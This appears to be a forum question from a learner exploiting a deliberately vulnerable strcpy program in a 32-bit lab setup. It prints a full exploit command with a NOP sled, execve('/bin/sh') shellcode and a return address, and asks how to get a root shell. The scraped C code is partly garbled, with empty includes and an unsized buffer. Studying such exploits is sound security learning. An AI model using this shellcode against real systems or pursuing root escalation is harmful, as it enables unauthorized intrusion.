Sample Header Ad - 728x90

Run shellcode as root in a buffer overflow attack?

0 votes
2 answers
710 views
I'm trying to exploit the following code:
#include 
#include 

int main(int argc, char** argv){
    char buffer;
    strcpy(buffer, argv[1] );

    return 0;
}
with the following command
./vuln $(python -c "import sys; sys.stdout.buffer.write(b'\x90'*60 + b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + b'\x40\xd6\xff\xff'*6)")
The first part is the NOPs, the second part is the shell code I took from this website , and it should just execve("/bin/sh").  The last part is the return address.  My program is compiled for a 32-bit system, and with all protection mechanisms disabled.  When I run my script, I get
process 15377 is executing new program: /usr/bin/bash
meaning bash is being run as the current user and not as root.  Where can I find a shell code that runs a shell as root?  Do I have to disable any Linux feature that prevents this? When I run whoami I get the current user and not root.  In this “First Exploit! Buffer Overflow with Shellcode – bin 0x0E” video the same script is used, and root access is granted.
Asked by r3k0j (15 rep)
Mar 7, 2024, 11:29 AM
Last activity: Mar 8, 2024, 02:34 AM